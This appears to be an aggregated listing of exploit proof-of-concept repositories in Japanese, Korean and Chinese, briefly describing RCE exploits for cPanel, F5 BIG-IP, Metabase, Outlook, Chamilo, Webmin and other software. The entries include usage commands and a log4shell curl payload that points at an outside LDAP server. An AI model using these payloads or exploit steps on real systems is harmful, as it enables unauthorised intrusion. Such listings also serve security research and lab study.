CVE-2025-48703

🛡️ CVE-2025-48703 - cPanel ファイルマネージャーにおけるリモートコード実行（RCE） 📌 説明 CVE-2025-48703 は、ウェブホスティングコントロールパネル（例：cPanel）の filemanager モジュールにおけるリモートコード実行（RCE）の脆弱性です。これは、acc=changePerm 関数における 未サニタイズの入力処理 が原因で発生し、攻撃者が ttotal パラメータを使用して任意のシステムコマンドを注入・実行することを可能にします。 🧨 影響 この脆弱性により、攻撃者は以下が可能になります：...

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan 소개 F5 BIG-IP 원격 코드 실행 취약점CVE-2020-5902, fofa 스캔 스크립트 이용 조건 fofa 회원, fofaproarssession의 값을 입력하세요. 12번 줄의 keyword 값을 직접 수정하세요. 17번 줄의 페이지 범위를 직접 수정하세요. 본 문서에 공개된 방법과 스크립트는 학습 및 연구 목적으로만 사용되며, 어떤 팀이나 개인도 본 문서에서 공개된 관련 내용을 불법적인 네트워크 공격 활동에 사용해서는 안 됩니다. 이를 위반하여 발생하는 모든 결과는 사용자...

Convergent-Time-Theory-Enhanced-iOS-Safari-RCE-CVE-2025-43529-

Convergent-Time-Theory-Enhanced-iOS-Safari-RCE-CVE-2025-43529- CTT-Enhanced iOS Safari エクスプロイト CVE-2025-43529 に基づく...

CVE-2022-30887

CVE-2022-30887 Pharmacy Management System 1.0 シェルアップロード このアプリケーションはMayurikによって構築されました。 Pharmacy management systemプロジェクトは、セキュリティと管理を通じて薬局の正確性と効率を向上させるためにPHPで開発されました。簡単に言えば、製品在庫管理アプリケーションです。 Pharmacy Management System...

MetabaseRCE_CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 のPoC CVE-2023-38646の概念実証です。これはMetabaseのエクスプロイトで、/api/session/propertiesにあるセットアップトークンを利用して、base64でエンコードされたペイロードを送信することでリモートコード実行を可能にします。 使い方 ./MetabaseRCECVE-2023-38646 -u target url -t target token -c command...

Pluck-Exploitation-by-skdevils

Pluck-Exploitation-by-skdevils 익스플로잇 제목: Pluck CMS 4.7.16 - 원격 코드 실행 RCE 인증됨 날짜: 13.03.2022 익스플로잇 작성자: Ashish Koli Shikari 공급업체 홈페이지: https://github.com/pluck-cms/pluck 버전: 4.7.16 테스트 환경: Ubuntu 20.04.3 LTS CVE: CVE-2022-26965...

CVE-2024-21413

CVE-2024-21413 このスクリプトは、CVE-2024-21413 の概念実証（PoC）です。CVE-2024-21413 は、Microsoft Windows Outlook で発見された重大なセキュリティ脆弱性であり、CVSS スコアは 9.8 のクリティカルという非常に高い評価を受けています。MonikerLink Bug と名付けられたこの脆弱性は、攻撃者が被害者のマシン上でリモートから任意のコードを実行することを可能にし、完全な RCE となります。...

log4shell_lab

log4shell エクスプロイトラボ このリポジトリは、log4shell エクスプロイトラボのワンラインセットアップです。 ラボのセットアップ: docker-compose up -d エクスプロイトの実行: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 次に、vul コンテナに移動して、実際にマシンを pwn したことを確認します: ラボのセットアップを解説する動画: https://www.youtube.com/watch?v=WBzR30JcT5...

CVE-2018-8097

CVE-2018-8097 PoC これは、PyEveライブラリのバージョン0.7.5未満に影響するCVE-2018-8097を実証するシンプルなPython Proof of Conceptスクリプトです。 使い方 root@kitploit: usage: cve20188097.py -h -u URL -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Target URL where you can use the 'where' filter, e.g...

CVE-2023-4220-PoC

CVE-2023-4220 任意のファイルアップロード / RCE - PoC 私はこのスクリプトを作成しました。CVE-2023-4220 の悪用を自動化し、Hack The Box PermXマシンでリバースシェルを取得するためです。 この脆弱性は、Chamilo LMS バージョン ≤ 1.11.24 に影響します。big upload 機能 における不十分なバリデーションが原因です。認証されていない攻撃者は、公開アクセス可能なディレクトリにファイルをアップロードでき、悪意のあるスクリプトがアップロードされた場合、Stored XSS や リモートコード実行（RCE）...

CVE-2024-32002

CVE-2024-32002 CVE-2024-32002를 기반으로 한 간단한 익스플로잇 스크립트입니다. 사용 방법 먼저, GitHub 또는 GitLab에 빈 저장소 2개를 생성합니다. 그다음, 이 스크립트를 git clone하고 실행합니다. 마지막으로: git clone –recursive repo2를 실행하여 자동 RCE를 수행합니다...

CVE-2020-0796

CVE-2020-0796 スキャナー = https://github.com/ButrintKomoni/cve-2020-0796 リモートオーバーフローPOC = https://github.com/jiansiting/CVE-2020-0796 SMBGhostRCEPoC = https://github.com/chompie1337/SMBGhostRCEPoC...

f5_rce_poc

사용 root@kitploit: python3 f5rce.py -u 대상 URL 지정 -f 일괄 탐지 파일 -c 명령 실행 -s/--ssrf ssrf를 통해 token을 획득하여 명령 실행 실행 결과는 다음과 같습니다: root@kitploit: python3 f5rce.py -u 127.0.0.1 --ssrf 명령 실행 후 exit를 입력하면 종료됩니다 PS: 출력이 예쁘지 않아서 수정하겠습니다 😁 후속 업데이트: 일부 명령 실행 오류 상황 수정 SSRF로 Token을 획득하여 명령 실행 기능 추가 1. 정규식 매칭, 출력...

CVE-2023-0297

CVE-2023-0297 pyload 0.5.0b3.dev31 이전 버전의 RCE 면책 조항: 이 스크립트는 원격 시스템에 대한 무단 접근 또는 제어를 초래할 수 있습니다. 진행하기 전에 시스템 소유자의 명시적 허가를 받은 경우에만 사용하십시오...

CVE-CVSS--CVE-2024-38063-IPv6-TCP-IP-Remote-Code-Execution-Analysis

🔐 CVE-2024-38063 — IPv6 TCP/IP 원격 코드 실행 분석 📌 프로젝트 설명 이 프로젝트는 Microsoft가 Patch Tuesday2024년 8월 13일 에 공개한 중요한 취약점 CVE-2024-38063 에 대한 기술적 분석 및 실습 데모 를 제공합니다. 이 취약점은 Windows TCP/IP 스택, 특히 커널 드라이버에 구현된 IPv6 구성 요소 에 영향을 미칩니다: C:\Windows\System32\drivers\tcpip.sys Kunlun Lab 의 보안 연구원 XiaoWei 가 발견한 이 취약...

CVE-2025-47256

CVE-2025-47256 LibXMP におけるスタックオーバーフロー 説明 libxmp（モジュール音楽再生ライブラリ）の depackpha 関数にスタックベースのバッファオーバーフローの脆弱性が存在します。この脆弱性は、不正に作成された Pha Packer PHA モジュールファイルを解析する際にトリガーされます。 ローカルスタックバッファに対する境界チェックが不適切なため、攻撃者は配列の境界外にデータを書き込むことができ、サービス拒否 DoS や、特定の条件下ではリモートコード実行 RCE につながる可能性があります。 ビルド: gcc -g -O0...

CVE-2025-41243-Vulnerability-Lab

CVE-2025-41243: Spring Cloud Gateway RCE Lab 취약점 설명 Spring Cloud Gateway에 SpEL 표현식 주입 취약점이 존재하며, Actuator 엔드포인트가 활성화된 경우 공격자가 원격 코드 실행RCE을 수행할 수 있습니다. 시작 방법 docker-compose up -d 재현 1. http://your-ip:8080/actuator/gateway/routes 접속 2. 악성 Payload 주입...

CVE-2012-2982_python

CVE-2012-2982 익스플로잇 python 안녕하세요, 저는 보안 연구자이며 이것은 저의 첫 번째 익스플로잇입니다. Webmin 1.580에는 CVE-2012-2982인 RCE가 있습니다. 이 페이로드를 사용하려면: 1. 다운로드 2. 텍스트 편집기에서 열기! 3. targetIP를 대상으로 변경 4. lhost를 자신의 IP로 변경 5. lport를 리스너가 실행될 포트 번호로 변경 6. 그리고 마지막으로 'page' : "%2F", 'user' : "user1", 'pass' : "1user" 여기서 기본 사용자 이름...

CVE-2024-34833-payroll-management-system-rce

CVE-2024-34833 급여 관리 시스템 RCE 인증 없음 PoC https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html 에 대한 파일 업로드를 통한 RCE. 파일 이름에는 분 단위 정확도의 타임스탬프가 앞에 추가됩니다. 스크립트는 현재, 이전 및 다음 분의 타임스탬프를 사용하여 파일 이름을 추측하려고 시도합니다. 취약점 설명 Payroll Management System v1.0은 사용자가...

CVE-2023-46747

CVE-2023-46747 一个利用脚本，用于利用 CVE-2023-46747 漏洞，该漏洞可导致 f5-BIG IP 产品在无需认证的情况下实现远程代码执行。 此脚本旨在对存在漏洞的 f5-BIG IP 产品进行远程代码执行利用。 安装： root@kitploit: git clone https://github.com/sanjai-AK47/CVE-2023-46747.git cd CVE-2023-46747 pip install -r requirements.txt python3 exploit.py 使用： root@kitploit: python3...